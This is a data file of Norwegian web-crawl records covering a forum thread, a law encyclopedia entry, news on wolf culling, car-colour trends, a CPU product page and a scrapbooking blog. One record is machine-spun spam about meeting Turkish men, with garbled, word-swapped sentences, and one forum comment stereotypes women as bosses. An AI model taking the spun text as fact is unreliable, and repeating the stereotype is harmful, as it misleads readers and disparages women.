han ikke har det\u2026\n    \n    Jeg har hatt to kvinnelige sjefer, og begge var glimrende\\!\n\n  - 29 08 2008\n    \n    ** sol** (22:41:29) :   \n    \n    Kvinnelige sjefer har jeg dessverre ingen god erfaring med. Menn derimot syntes jeg er helt topp. Kvinner skal alltid \u00aboverdrive\u00bb sin posisjon, og alltid utrette s\u00e5 enorm mye og ofte p\u00e5 en maskulin m\u00e5te som ikke kler en kvinne.  \n    Overdrive og overspille er kanskje ordet. En mann er mye mer avslappet. En kvinne er ofte s\u00e5 kontrollerende. Hadde passet godt p\u00e5 en tr\u00e5ler. Telt fisk p\u00e5 sin maskufeminine m\u00e5te.  \n    Dette var kanskje et godt stykke fra temaet til drittlei.\n\n  - 29 08 2008\n    \n    ** elghunk** (23:01:51) :   \n    \n    drittlei opptrer stort sett med flegmatisk indolens overfor aggregater av irrelevant informasjon.\n    \n    Da er vi enige om at flere kvinner trengs p\u00e5 tr\u00e5lere. Utmerket\\!\\!\\!\n\n", "language": "no", "__index_level_0__": "16f3798d-312e-41b4-b729-c52cbad8620e"}
{"url": "http://edown.eu/kat-4/mt-tyrkiske-menneu-tinder-vard-3754.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:37:47Z", "text": "# M\u00d8T TYRKISKE MENN\n\n  \n\nOg b\u00e5de det han sier og Twitter-opplegget hans er merkelig.Vendela Kirsebom og moren Ingi. Hun klarte \u00e5 banke tenna sammen og delta i episoden, men husker det som sv\u00e6rt t\u00f8ft. Stemmen eller St\u00f8yen -\u00a0Lydbok Kj\u00f8p N\u00e5\\! Det er klart at man blir ganske sterk av bekk f\u00e5 leve med en route for s\u00e5 sterke kvinner, smiler hun. Vi har mormor Lulu fra Tyskland, der br\u00f8t med forloveden igang \u00e5 reise vekk med en norsk ingeni\u00f8r. Boken er en unik vei til \u00e5 komme i kontakt med hjertets dyktighet og finne sin unike kraft og komme bar i de uendelige mulighetene som ligger i bevisstheten om at vi alle er en del fra et universelt hele. Hun forteller at hun aldri har hatt lignende opplevelser.\n\n  \n  \n  \n  \n#### \n\n  \nAttmed m\u00f8ter med andre h\u00f8ysensitive kvinner og menn, forskere og fagfolk gir Abiword et nytt bilde fra hvordan \u00abf\u00f8lelsesmennesker\u00bb ser altet, og hvordan de adjunkt seg \u00e5 finne egen beste plass i burrow. Englenes hemmeligheter -\u00a0Bok Aff\u00e6re N\u00e5\\! Og tilbakemeldingene har v\u00e6rt mange. Og Abiword har moren Ingi, der etter en feriefl\u00f8rt i Tyrka kom hjem \u00e0 Sverige med en spire i magen. Fem dager etter at de m\u00f8ttes f\u00f8rste gang, br\u00f8t dem med hver sin beundrer og giftet seg. Attmed en rekke \u00f8velser, meditasjoner og spirituelle verkt\u00f8y, \u00f8nsker vi \u00e5 gi deg muligheten til \u00e5 anvende nye sider ved deg selv, slik at englene kan bli en barbarisk del av hverdagen.\n\n  \n  \n  \nI dro hun p\u00e5 pakketur til Istanbul og traff en kjekk, blond tyrker. Men selv om han er borte, er Kirsebom fremdeles knyttet til egen tyrkiske familie. De sprayet den i gull, s\u00e5 den er veldig attraktiv \u00e5 ha. For arketyp at jeg f\u00f8ler ego mye tryggere med ego selv, f\u00f8lelsen av by jeg har familien hvilken uansett. Bodydouble-Vendela-en ble alderdommelig da hennes karakter Nora Fries skulle v\u00e6re eksempel frossen. Det er betydningsl\u00f8s hemmelighet at vi kommuniserer med engler, men det kan virke som bare englene har noen hemmeligheter, ikke sant? Det er som om v\u00e5r folk er disponert for bekk bli rammet av akutt, omveltende og ofte eksempel ulogisk forelskelse\u00bb.\n\n  \n  \n  \n#### \n\n  \nNei, det var supermerkelig bekk se litt av burrow, alts\u00e5. Bakgrunnen er skuespillere som har anklaget b\u00e5de produsenter og regiss\u00f8rer designed for sextrakassering, med legenden Harvey Weinstein i spissen. Filmen blir i ettertid regnet som en av tidenes d\u00e5rligste \u00abBatman\u00bb-filmer. Jeg akseptere sikkert elsket det akin to mye, for jeg elsker \u00e5 st\u00e5 foran kameraet. Det var veldig morsomt, for da var Abiword en hel gjeng der s\u00e5 p\u00e5 sammen. Igang Vendela Kirsebom er dale da hun var for forsiden i Sports Illustrated i\n\n  \n  \n  \n  \n#### \n\n  \nDet er s\u00e5 hyggelig, sier Kirsebom. Vi gj\u00f8r oppmerksom p\u00e5 at de er p\u00e5 engelsk og by det stort sett er de samme meditasjonene der i M\u00f8t din archai. H\u00e5per v\u00e5re historier kan v\u00e6re med \u00e5 definere din hverdag, dine utfordringer, styrker og svakheter bare du er h\u00f8ysensitiv egen eller at du kan forst\u00e5 noen rundt deg som er h\u00f8ysensitiv bedre ved \u00e5 lese v\u00e5re historier og forskningen bak. Andre nyanser kommer fram og blir levende. Ego syns det er avstikkende at ikke r\u00e5dgiverne alliert med \u00e5 finne m\u00e5ter \u00e5 v\u00e6re en disiplinert president p\u00e5, sier hun oppgitt. Som jeg sa til ham i g\u00e5r: Og vi har attr\u00e5 til \u00e5 lage mer TV sammen, s\u00e5 det kommer forh\u00e5pentligvis om litt, sier hun lurt.\n\n  \n  \n  \n  \n  \n  \n  \n  \n  \n\nEi del av Ahmet ble likevel med tilbake. Ei ny verdenskrig var i anmarsj. Andre nyanser kommer fram og blir arbeidsf\u00f8r. Det aller hyggeligste med oppholdet p\u00e5 \u00abFarmen\u00bb, bl\u00f8t likevel at hun m\u00f8tte kj\u00e6rligheten. Boken er ei revidert utgave av M\u00f8t din skytsengel. Englenes hemmeligheter -Meditasjoner Kj\u00f8p N\u00e5\\! NRK-programmet \u00abHva har du i bagasjen? Ahmet Demir \u00d6zkal fridde f\u00f8r ferien bl\u00f8t slutt, men Ingi takket nei og dro hjem. Vi bor ikke forent - vi har fasit ikke v\u00e6rt kj\u00e6rester s\u00e5 lenge, men vi koser oss som vi har det. Men kj\u00e6rligheten gj\u00f8r ikke alltid blind. Og bildene blir ofte fryktelig retusjert.\n\n  \n#### Kommentarer:\n\n*15.02.2018 : 06:43 Gardazuru:*\n\nF\u00f6rf\u00f6risk Bild\\!\n", "language": "no", "__index_level_0__": "6317a0da-9eba-48de-9614-cf7fcfa2abb9"}
{"url": "https://snl.no/helse-_og_omsorgstjenesteloven", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:47:01Z", "text": "# helse- og omsorgstjenesteloven\n\n    Marianne K. Bahus\n  - Ogs\u00e5 kjent som  \n    lov om kommunale helse- og omsorgstjenester m.m. av 24. juni 2011 nr. 30\n\nLov om kommunale helse- og omsorgstjenester m.m. av 24. juni 2011 tr\u00e5dte i kraft 1.1. 2012 og 1.7 2012 og den erstatter den tidligere kommunehelsetjenesteloven og sosialtjenesteloven. Helse- og omsorgstjenesteloven opphevet det tidligere juridiske skillet mellom helsetjenester og omsorgstjenester. Vi har n\u00e5 en felles helse- og omsorgstjeneste med felles regelverk.\n\nHelse- og omsorgstjenesteloven ble foresl\u00e5tt av Helse- og omsorgsdepartementet som et av flere virkemidler for \u00e5 underst\u00f8tte og realisere m\u00e5lene med samhandlingsreformen. M\u00e5lene med samhandlingsreformen er blant annet \u00f8kt livskvalitet og redusert press p\u00e5 helsetjenesten gjennom satsing p\u00e5 helsefremmende og forebyggende arbeid, dempet vekst i bruk av sykehustjenester ved at en st\u00f8rre del av helsetjenesten ytes av kommunehelsetjenesten med like god eller bedre kvalitet og kostnadseffektivitet, og mer helhetlig og koordinerte tjenester til pasienter og brukere gjennom forpliktende samarbeidsavtaler og avtalte behandlingsforl\u00f8p. Helse- og omsorgstjenesteloven skal gi kommunene et tydeligere og mer helhetlig ansvar, samt st\u00f8rre frihet til \u00e5 organisere og tilpasse tilbudet i samsvar med lokale behov.\n\n## Lovens form\u00e5l\n\nLovens form\u00e5l presiserer et felles verdigrunnlag for den kommunale helse- og omsorgstjenesten. Loven har flere omfattende form\u00e5l som alle g\u00e5r ut p\u00e5 at kommunen skal gi innbyggerne gode livsvilk\u00e5r. Syv s\u00e6rlige form\u00e5l er listet opp i en form\u00e5lsbestemmelse.\u00a0\n\n1.  \u00c5 forebygge, behandle og tilrettelegge for mestring av sykdom, lidelse og nedsatt funksjonsevne\n2.  \u00c5 fremme sosial trygghet, bedre levevilk\u00e5rene for vanskeligstilte, bidra til likeverd og likestilling og forebygge sosiale problemer.\n3.  Den enkelte skal f\u00e5 mulighet til \u00e5 leve og bo selvstendig og til \u00e5 ha en aktiv og meningsfylt tilv\u00e6relse i fellesskap med andre,\n4.  Tjenestetilbudets kvalitet skal sikres, og det\u00a0skal v\u00e6re et likeverdig tjenestetilbud.\n5.  Sikre samhandling og at tjenestetilbudet blir tilgjengelig for pasient og bruker og at tilbudet er tilpasset den enkeltes behov.\u00a0\n6.  Sikre at tjenestetilbudet tilrettelegges med respekt for den enkeltes integritet og verdighet\n7.  Bidra til at ressursene utnyttes best mulig.\n\n## Lovens virkeomr\u00e5de\n\nLoven gjelder som hovedregel for helse- og omsorgstjenester som tilbys eller ytes av kommunen eller private som har avtale med kommunen. Annet virkeomr\u00e5de kan f\u00f8lge av helse- og omsorgstjenesteloven, og kongen (det vil i praksis si regjeringen) kan gi forskrift om lovens anvendelse p\u00e5 Svalbard og Jan Mayen, og kan fastsette s\u00e6rlige regler av hensyn til stedlige forhold. Kongen kan ogs\u00e5 bestemme om og i hvilken utstrekning bestemmelsene i helse- og omsorgstjenesteloven skal gjelde p\u00e5 norske skip i utenriksfart, i norske sivile luftfart\u00f8yer i internasjonal trafikk og p\u00e5 installasjoner og fart\u00f8y i arbeid p\u00e5 den norske kontinentalsokkelen.\n\n## Forholdet til andre lover\n\nHelsepersonelloven gjelder for personell som yter helse- og omsorgstjenester etter helse- og omsorgstjenesteloven, og forvaltningsloven gjelder for kommunens virksomhet med de s\u00e6rlige bestemmelser som f\u00f8lger av helse- og omsorgstjenesteloven og av pasient- og brukerrettighetsloven.\n\n## Kommunens ansvar for helse- og omsorgstjenester\n\nHelse- og omsorgstjenesteloven har bestemmelser som sl\u00e5r fast kommunens overordnede ansvar for helse- og omsorgstjenester. Loven har blant annet bestemmelser om at alle personer i kommunen tilbys n\u00f8dvendige helse- og omsorgstjenester. Loven sl\u00e5r fast at kommunens ansvar omfatter alle pasient- og brukergrupper og at ansvaret inneb\u00e6rer en plikt til \u00e5 planlegge, gjennomf\u00f8re med videre virksomheten slik at den samsvarer med de krav som f\u00f8lger av lov og forskrift. Helse- og omsorgstjenesteloven regulerer hva kommunen skal tilby for \u00e5 oppfylle sitt ansvar for helse- og omsorgstjenester. Loven har videre bestemmelser om helsefremmende og forebyggende arbeid, om kommunens plikt til samhandling og samarbeid, om kommunens ansvar for \u00f8yeblikkelig hjelp, omsorgsl\u00f8nn og boliger til vanskeligstilte, om brukerstyrt personlig assistent, om helse- og omsorgstjenester for innsatte i fengsler, og om pasienters og brukeres innflytelse og samarbeid med frivillige organisasjoner.\n\n## Forsvarlighet\n\nHelse- og omsorgstjenesteloven har bestemmelser om forsvarlighet og om kvalitetsforbedring og pasient- og brukersikkerhet. Helse- og omsorgstjenester skal v\u00e6re forsvarlige. Forsvarlighetskravet gjelder ikke bare p\u00e5 individniv\u00e5 men ogs\u00e5 p\u00e5 systemniv\u00e5. Forsvarlighetskravet inneb\u00e6rer at kommunen skal tilrettelegge tjenestene sine slik at den enkelte pasient eller bruker blant annet gis et helhetlig og koordinert helse- og omsorgstjenestetilbud. Videre skal kommunen tilrettelegge slik at helse- og omsorgstjenesten og helsepersonell som utf\u00f8rer tjenestene blir i stand til \u00e5 overholde sine lovp\u00e5lagte plikter. Loven sl\u00e5r ogs\u00e5 fast at kommunen skal tilrettelegge sine tjenester slik at den enkelte pasient eller bruker gis et verdig tjenestetilbud. Loven sl\u00e5r ogs\u00e5 fast at enhver som yter helse- og omsorgstjenester skal s\u00f8rge for at virksomheten arbeider systematisk for kvalitetsforbedring og for pasient- og brukersikkerhet.\n\n## S\u00e6rlige plikter for kommunen\n\nHelse- og omsorgstjenesteloven har et eget kapittel om s\u00e6rlige plikter og oppgaver for kommunen. Dette dreier seg blant annet om \u00e5 ha en eller flere kommuneleger, etablere spr\u00f8yterom, motta og registrere meldinger om helsepersonell, etterkomme anmodninger om opplysninger fra Statens helsetilsyn og Fylkesmannen som de trenger for \u00e5 utf\u00f8re sine p\u00e5lagte oppgaver, samt s\u00f8rge for at journal og informasjonssystemene er forsvarlige.\n\n## Samarbeid\n\nHelse- og omsorgstjenesteloven har et eget kapittel om samarbeid mellom kommuner og regionale helseforetak med videre. Kommunen har blant annet plikt til \u00e5 inng\u00e5 avtaler, og loven regulerer hva avtalen som et minimum m\u00e5 inneholde. Helse- og omsorgstjenesteloven bestemmer videre at departementet har mulighet til \u00e5 fastsette en frist for n\u00e5r avtalen skal v\u00e6re inng\u00e5tt og at de regionale helseforetakene skal sende inn avtalene til helsedirektoratet etter n\u00e6rmere bestemte frister. Det er krav om \u00e5rlig gjennomgang av avtalen og departementet har mulighet til \u00e5 p\u00e5legge kommuner \u00e5 samarbeide n\u00e5r det anses p\u00e5krevd for \u00e5 f\u00e5 til en forsvarlig l\u00f8sning av oppgaver innen kommunenes helse- og omsorgstjeneste.\n\nAvtalene skal blant annet sikre en felles forst\u00e5else av hvilke oppgaver partene til enhver tid skal l\u00f8se. Systemet med avtaler skal sikre at kommunene f\u00e5r et mer likeverdig partsforhold i avtalen og mer enhetlig praksis. Avtalene gir partene mulighet til \u00e5 bli enige ogs\u00e5 om mer detaljerte og konkrete oppgaver som det skal p\u00e5ligge hver av partene \u00e5 utf\u00f8re. Ordningen med avtaler skal kunne forebygge \u00abgr\u00e5soner\u00bb hvor ingen av partene tar ansvar for oppgaver begge mener at den andre part er n\u00e6rmest til \u00e5 p\u00e5ta seg.\n\n## Individuell plan\n\nHelse- og omsorgstjenesteloven har bestemmelser om individuell plan, koordinator og koordinerende enhet. Loven sl\u00e5r fast at kommunen skal utarbeide en individuell plan for pasienter og brukere med behov for langvarige og koordinerte tjenester etter helse- og omsorgstjenesteloven. Det sl\u00e5s videre fast at kommunen skal tilby en koordinator for pasienter og brukere med behov for langvarige og koordinerte tjenester etter helse- og omsorgstjenesteloven. En koordinator skal ha hovedansvaret for \u00e5 s\u00f8rge for at den enkelte pasient eller bruker f\u00e5r n\u00f8dvendig oppf\u00f8lging. Koordinator skal videre sikre samordning av tjenestetilbudet og framdrift i arbeidet med individuell plan. Helse- og omsorgstjenesteloven p\u00e5legger ogs\u00e5 kommunen \u00e5 ha en koordinerende enhet for habiliterings- og rehabiliteringsvirksomhet.\u00a0\n\n## Undervisning mv.\n\nHelse- og omsorgstjenesteloven p\u00e5legger kommunen \u00e5 medvirke til undervisning og praktisk oppl\u00e6ring av helsepersonell. Loven sl\u00e5r videre fast at kommunen blant annet skal s\u00f8rge for at egne ansatte som utf\u00f8rer tjenester eller arbeid etter helse- og omsorgstjenesteloven f\u00e5r p\u00e5krevd videre- og etterutdanning. Det samme gjelder for personell som er ansatt i privat virksomhet som kommunen har avtale med og som utf\u00f8rer helse- og omsorgstjenester. Kommunen skal ogs\u00e5 medvirke til, og tilrettelegge for, forskning for den kommunale helse- og omsorgstjenesten.\n\n## Tvang og psykisk utviklingshemmede\n\nHelse- og omsorgstjenesteloven har et eget kapittel om rettssikkerhet ved bruk av tvang og makt overfor enkelte personer med psykisk utviklingshemning. Form\u00e5let med kapitlet er \u00e5 hindre at personer med psykisk utviklingshemning utsetter seg selv eller andre for vesentlig skade samt \u00e5 forebygge og begrense bruk av tvang. Reglene kommer til anvendelse ved bruk av tvang og makt ved helsetjenester i hjemmet, ved personlig assistanse, ved plass i institusjon og sykehjem og ved avlastningstiltak. Loven definerer tvang eller makt som tiltak brukeren eller pasienten motsetter seg, eller tiltak som er s\u00e5 inngripende at de uansett motstand m\u00e5 regnes som tvang eller makt. Loven avgrenser tvang og makt ved \u00e5 presisere at alminnelig oppfordring eller ledelse med h\u00e5nden eller andre fysiske p\u00e5virkninger av liknende art ikke er \u00e5 anse som bruk av tvang eller makt.\n\nHelse- og omsorgstjenesteloven regulerer videre i kapitlet om rettssikkerhet ved bruk av tvang og makt overfor enkelte personer med psykisk utviklingshemning pasientens og brukerens rett til \u00e5 medvirke ved tjenestetilbudet. Loven p\u00e5legger kommunen \u00e5 s\u00f8rge for at forholdene legges til rette for minst mulig bruk av tvang og makt. Loven oppstiller vilk\u00e5r for bruk av tvang og makt og grenser for bruk av enkelte tiltak. Videre har loven en bestemmelse om kommunens saksbehandling ved beslutninger om bruk av tvang og makt, om fylkesmannens plikt til \u00e5 overpr\u00f8ve n\u00e6rmere bestemte vedtak, om krav til gjennomf\u00f8ring og evaluering, om dokumentasjonsplikt og journalf\u00f8ring, om pasientens og brukerens klageadgang og om overpr\u00f8ving i tingretten.\n\n## Tvang og rusmiddelavhengige\n\nHelse- og omsorgstjenesteloven regulerer i et eget kapittel tvangstiltak overfor rusmiddelavhengige. I dette kapitlet har loven blant annet bestemmelser om kommunens plikt til \u00e5 vurdere bruk av tvang etter melding fra p\u00e5r\u00f8rende om omfattende rusmiddelmisbruk, om tilbakehold i institusjon av rusmiddelmisbrukere uten samtykke, om tilbakeholdelse av gravide rusmiddelmisbrukere og tilbakeholdelse n\u00e5r det foreligger samtykke. Loven har videre regler om barnevernlovens anvendelse i enkelte tilfeller og om overpr\u00f8ving i tingretten og om kommunens ansvar for \u00e5 reise tvangssak.\n\n## Finansiering og egenbetaling\n\nHelse- og omsorgstjenesteloven har regler om kommunens ansvar for utgifter, for kommunens mulighet til \u00e5 kreve vederlag av pasient og bruker, for dekning av utgifter til pasienter som er utskrivningsklare og om hvordan tilskuddene fra staten skal fordeles.\n\n## Andre bestemmelser\n\nHelse- og omsorgstjenesteloven har et kapittel med bestemmelser av forskjellig innhold. I dette kapitlet fremkommer det blant annet at enhver som utf\u00f8rer helse- og omsorgstjenester har taushetsplikt. Dette kapitlet har regler om legefordeling til kommunens helse- og omsorgstjeneste og om statlig tilsyn. Kapitlet har ogs\u00e5 s\u00e6rlige bestemmelser ved opphold i institusjon og om nasjonale faglige retningslinjer, veiledere og kvalitetsindikatorer\n\n## Ikrafttredelse\n\nHelse- og omsorgstjenesteloven hadde en todelt ikrafttredelse og har bestemmelser som regulerer forholdet til eldre forskrifter og endringer i andre lover.\n\n## Reservasjonsrett\n\nDet var\u00a0en offentlig debatt\u00a0om leger som er ansatt i den kommunale helse- og omsorgstjenesten hadde adgang til \u00e5 reservere seg mot \u00e5 utf\u00f8re bestemte oppgaver av samvittighetsgrunner. Dette gjelder blant annet sp\u00f8rsm\u00e5l om \u00e5 tilby prevensjon og prevensjonsveiledning, henvise til spesialisthelsetjenesten for utf\u00f8ring av abort, eller henvise lesbiske par til spesialisthelsetjenesten til utredning for assistert befruktning. I den forbindelse utarbeidet Helse- og omsorgsdepartementet i 2011 et rundskriv for \u00e5 klargj\u00f8re rettstilstanden p\u00e5 omr\u00e5det.\n\n", "language": "no", "__index_level_0__": "16e2a567-fc11-4ef3-803d-f3430421a38c"}
{"url": "https://www.aftenposten.no/norge/i/Mg1jXR/Siste-ulv-i-jaktkvoten-i-Osdals--og-Julussarevirene-er-felt", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:41:56Z", "text": "# Siste ulv i jaktkvoten i Osdals- og Julussarevirene er felt\n\nJegerne har skutt den siste av 16 ulver som skulle felles i Osdals- og Julussarevirene i Hedmark. Fortsatt er det seks dyr utenfor revirene som skal felles.\n\n  - \n    \n     Den forel\u00f8pig siste av totalt 16 ulver i de to revirene Osdalsflokken og Julussaflokken ble skutt fredag morgen. Jaktlaget mener imidlertid at det kan v\u00e6re flere dyr igjen i de to flokkene og n\u00e5 m\u00e5 myndighetene vurdere \u00e5 utvide jakten. Illustrasjonsfoto: Heiko Junge / NTB scanpix \n\n 12. jan. 2018 17:29 \n\n  \n\nJakten p\u00e5 de 16 ulvene har p\u00e5g\u00e5tt siden nytt\u00e5r og fredag morgen ble det siste av dyrene i kvoten felt i omr\u00e5det til Osdalsflokken, melder Nationen.\n\nFylkesmannen i Hedmark har derfor gitt beskjed om at all jakt i disse revirene skal stoppes. Fremdeles gjenst\u00e5r en kvote p\u00e5 seks dyr som kan felles utenfor de utpekte revirene.\n\nHensikten med jakten p\u00e5 de to flokkene har v\u00e6rt \u00e5 utradere dem. Jegerne som har deltatt i jakten tror imidlertid at det er flere dyr igjen, men det er ikke gitt tillatelse til \u00e5 felle flere enn 16 dyr.\n\n\u2013 Dersom det fortsatt befinner seg ulver i omr\u00e5det etter at kvoten er fylt kan det bli aktuelt \u00e5 gj\u00f8re en ny vurdering, sier statssekret\u00e6r Lars Andreas Lunde (H) i Klima- og milj\u00f8departementet til Bondebladet.\n\nTotalt har regjeringen \u00e5pnet for at 42 ulver kan skytes i Norge i vinter. I tillegg til ulvene i de to revirene, kan 12 ulver felles utenfor ulvesonen i Oslo, Akershus, Hedmark og \u00d8stfold og 14 i andre deler av landet.\n\nFem av ulvene som kan skytes utenfor ulvesonen var allerede skutt da Oslo tingrett stanset jakten i november i fjor. I desember saks\u00f8kte WWF Norge for andre gang staten for \u00e5 fatte lovstridige jaktvedtak i forvaltningen av ulv, som organisasjonen mener strider mot b\u00e5de Grunnloven, naturmangfoldloven og internasjonale avtaler. WWF begj\u00e6rte p\u00e5 ny en midlertidig stans i jakten.\n\nOslo tingrett besluttet imidlertid fredag i forrige uke at lisensfellingen ikke vil true overlevelsen til ulvebestanden, og fastslo dermed at ulvejakten kan fortsette. Jakten p\u00e5 de to flokkene innenfor ulvesonen startet 1. januar.\n\n\n\n", "language": "no", "__index_level_0__": "8a7c7fe8-5041-45b9-a679-a84884400ecb"}
{"url": "http://www.klikk.no/motor/bil/disse-bilene-vil-nordmenn-ha-3214745", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:46:42Z", "text": "# Disse bilene vil nordmenn ha\n\n### Den er svart eller gr\u00e5, med dieselmotor under panseret og en fjerdedel har firehjulsdrift.\n\n\n\n  P\u00e5l Andre Skogen  \n\nPublisert 07.01.11  Oppdatert 28.10.14 \n\nDet viser seg at vi nordmenn fortsatt er forholdsvis konservative n\u00e5r vi velger bil. De samme fargene som har dominert i en \u00e5rrekke troner fortsatt p\u00e5 toppen. Nesten 70 prosent av bilene som har blitt solgt i skrivende stund er, if\u00f8lge tall fra Opplysningsr\u00e5det for Veitrafikken, lakkert i svart, gr\u00e5 eller s\u00f8lv. Hvit har blitt sett p\u00e5 som en trendfarge i noen \u00e5r, og den fortsetter \u00e5 \u00f8ke i popularitet. I 2005 ble det bare solgt 650 hvite biler, mens i \u00e5r har omtrent 8500 mennesker valgt \u00e5 f\u00e5 sin nye bil lakkert hvit.\n\nHvit anses helt klart som en trendfarge, og dermed er det vanskelig \u00e5 si hvordan den vil holde seg. Hvis populariteten plutselig faller, kan disse bilene f\u00e5 seg en smell p\u00e5 bruktmarkedet. Dette s\u00e5 vi blant annet med hvite biler p\u00e5 90-tallet.\n\nSlik kommer du opp bakken p\u00e5 glatta\n\n#### \\- Litt s\u00e6rt publikum\n\nJostein Olsen er daglig leder i Spectra Auto, og har drevet med bruktbilsalg siden midten av 80-tallet, og var dermed med p\u00e5 den forrige b\u00f8lgen av hvite biler.\n\n\\- Da m\u00e5tte vi ofte g\u00e5 ned 10 000 kroner p\u00e5 prisen hvis bilen var hvit, sier han. N\u00e5 er det derimot mulig \u00e5 f\u00e5 solgt hvite biler igjen, men Olsen mener det er et litt s\u00e6rt publikum som velger hvitt. Han tror likevel ikke man vil oppleve den samme uselgeligheten som man gjorde p\u00e5 90-tallet.\n\n**- Det er alltid noen som vil ha hvit bil, men s\u00f8lv, svart og gr\u00e5 er definitivt det tryggeste, avslutter han.**\n\n\n\n#### Verdens h\u00f8yeste andel dieselbiler\n\nDieselandelen her til lands fortsetter \u00e5 \u00f8ke. Hver fjerde bil som har blitt solgt ny her til lands i \u00e5r, har en dieselmotor under panseret . Dermed er Norge blant de landene med h\u00f8yest dieselandel i hele verden. Dette har utviklet seg gradvis siden begynnelsen av 2000-tallet. Da var dieselandelen under 15 prosent. I 2007 kom en avgiftsomlegging som gjorde at andelen gikk fra 50 til 70 prosent n\u00e6rmest over natta.\n\nOgs\u00e5 andelen biler med drift p\u00e5 alle fire \u00f8ker. I \u00e5r tipper den 25 prosent med god margin. Det betyr at hver fjerde nyregistrerte bil her til lands i \u00e5r har firehjulsdrift. Det er forst\u00e5elig n\u00e5r man ser hvordan f\u00f8ret har v\u00e6rt de siste ukene. Firehjulsdrift gir mye bedre fremkommelighet, og gir ogs\u00e5 f\u00f8reren en st\u00f8rre trygghetsf\u00f8lelse bak rattet. Bare ikke la deg lure til \u00e5 tro at det bremser bedre med firehjulsdrift.\n\n#### Golf er bestselgeren\n\n\n\nTotalt hadde det blitt solgt 117 618 biler ved utgangen av november. P\u00e5 toppen av merkestatistikken troner Volkswagen, med en markedsandel p\u00e5 15,2 prosent. De to neste plassene okkuperes av Toyota og Ford. Den klart mest solgte modellen i \u00e5r er den evig popul\u00e6re Volkswagen Golf. I \u00e5r har det blitt registrert omtrent 7 700 nye Golfer her til lands. Volvo V70 og Toyota Avensis kniver om andreplassen, men svenskene har i skrivende stund overtaket.\n\nNordmenns dr\u00f8mmebil ser alts\u00e5 ut til \u00e5 v\u00e6re en svart eller gr\u00e5 Volkswagen med dieselmotor og firehjulsdrift. Det viser seg at vi fortsatt er et forholdsvis konservativt folk - i motsetning til for eksempel kineserne. I 2008 var farger som gull og oransje inne p\u00e5 topplistene deres. Det tar nok en stund f\u00f8r noe lignende skjer her til lands.\n\nHva som er grunnen til det konservative fargevalget kan man bare spekulere i, men Dr. Peter Weil ved University of Delaware mener det har sammenheng med at s\u00f8lv utstr\u00e5ler velstand.\n\nHer p\u00e5 berget har vi ogs\u00e5 unektelig en kultur som forteller oss at det er feil \u00e5 skille seg for mye ut. Kanskje kan dette v\u00e6re p\u00e5 vei ut, da vi oftere ser unge mennesker med fargerike biler. Flere av sm\u00e5bilene som har blitt lansert de siste \u00e5rene har kommet i friske farger.\n\n", "language": "no", "__index_level_0__": "bcf87e87-f4f6-4641-a32e-a450cbe4376e"}
{"url": "https://www.dustin.no/product/5010791975/core-i5-4690k-35-ghz-prosessor", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:46:30Z", "text": "## Produktinformasjon\n\n**Mer finjustering av K-serien**  \n  \nFor seri\u00f8se gamere er det f\u00f8rst og fremst K-serien som er interessant. Prosessorene i K-serien er oppl\u00e5ste og Intel har utviklet dem med tanke p\u00e5 entusiaster som vil kunne justere selv for \u00e5 f\u00e5 optimal ytelse. Modellene som er utviklet for gamers er I7-4790K og I5-4690K.  \n  \n  \nK-serien tilbyr flere parametere som kan justeres enn forgjengeren. Den som vil fors\u00f8ke \u00e5 overklokke prosessoren kan alts\u00e5 finjustere mer for \u00e5 n\u00e5 det absolutte ytelsestaket.  \n  \n  \n  \n**Intel Devil's Canyon er en oppgradering av den popul\u00e6re 4. generasjonen Core-prosessorer med opp til 10 % bedre ytelse enn den tidligere generasjonen**  \n  \nIntel bruker den kjente mikroarkitekturen som bygger p\u00e5 deres unike 22 nanometer-produksjonsprosess. De nye Core-prosessorene som slippes n\u00e5 er enda et steg videre for \u00e5 \u00f8ke ytelsen ytterligere. I sammenheng med denne lanseringen ble det ogs\u00e5 sluppet nye hovedkort (med chipset Z97 og H97) som skal komplettere disse CPU-ene.  \n  \n  \n  \n*Denne prosessoren passer perfekt til hovedkort med **Z97 og H97 chipset**. Vi anbefaler ikke andre chipset da det kan kreve en BIOS-oppgradering f\u00f8r de er kompatible med disse nye CPUene.*  \n  \n  \n\n\n", "language": "no", "__index_level_0__": "f3ba6d4e-13fc-4d9f-9a1c-6de68841cdf1"}
{"url": "http://lindasscrapping.blogspot.com/2009/12/noen-digitale-lo-er.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:17:06Z", "text": "\n\n## fredag 11. desember 2009\n\n### Noen Digitale LO-er\n\nNoen av de digitale LOene jeg har laget i det siste.  \n  \n  \n En LO jeg har laget fra et bryllup vi var i i h\u00f8st.  \n(Kredit: m\u00f8nsterark med blader: Katie Pertiet (endret farge), resten av \"m\u00f8nster\"arkene er selvlaget, s\u00f8mmer: MCO og Maryann Buchanan, blomst: Dark Angel, Fj\u00e6r: Bel Vidotti Scraps, Overlay: ScrapU)  \n  \n  \n20:55           \n\n Etiketter: Adrian, Digi-LO, Lukas \n\n \n#### 2 kommentarer:\n\n1.  \n    \n    Janne-Lise11. desember 2009 kl. 22:57\n    \n    Denne siste LO\u00e8n har jeg mange ganger beundret - den m\u00e5 v\u00e6re noe av det lekreste jeg har sett - s\u00e5 ren og likeel s\u00e5 full av liv og med de herlige barna. :)\n    \n2.  \n    \n    Elisabeth12. desember 2009 kl. 11:56\n    \n    du er snabla dyktig p\u00e5 b\u00e5de papirscrapp og digi-scrapp du.....utrolig flott \u00e5 se p\u00e5 disse LO'ene her, og jeg gleder meg til \u00e5 se mere....\n    \n", "language": "no", "__index_level_0__": "578376e7-046c-4e01-91e0-6806f8131371"}
